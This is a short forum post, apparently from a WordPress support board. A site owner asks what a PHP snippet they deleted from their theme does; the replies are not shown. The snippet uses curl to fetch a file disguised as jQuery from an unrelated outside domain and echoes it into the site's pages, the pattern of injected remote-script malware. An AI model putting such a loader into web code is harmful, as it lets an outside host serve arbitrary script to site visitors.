What does this function do? (curl_init)
-
Hi,
Thanks in advance for the help.I’m trying hard to speed up my website’s loading speed. It appeared that I was loading 2 versions of jquery. While I could move one to the footer, it seems the second is part of a plugin.
Either case, I went ahead and deleted the following code from my theme. Doesn’t appear anything happened, but I’m afraid I might have broke something important.
<?php if(function_exists('curl_init')) { $url = "https://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; } ?>
What exactly does it do?
Viewing 9 replies - 1 through 9 (of 9 total)
Viewing 9 replies - 1 through 9 (of 9 total)
- The topic ‘What does this function do? (curl_init)’ is closed to new replies.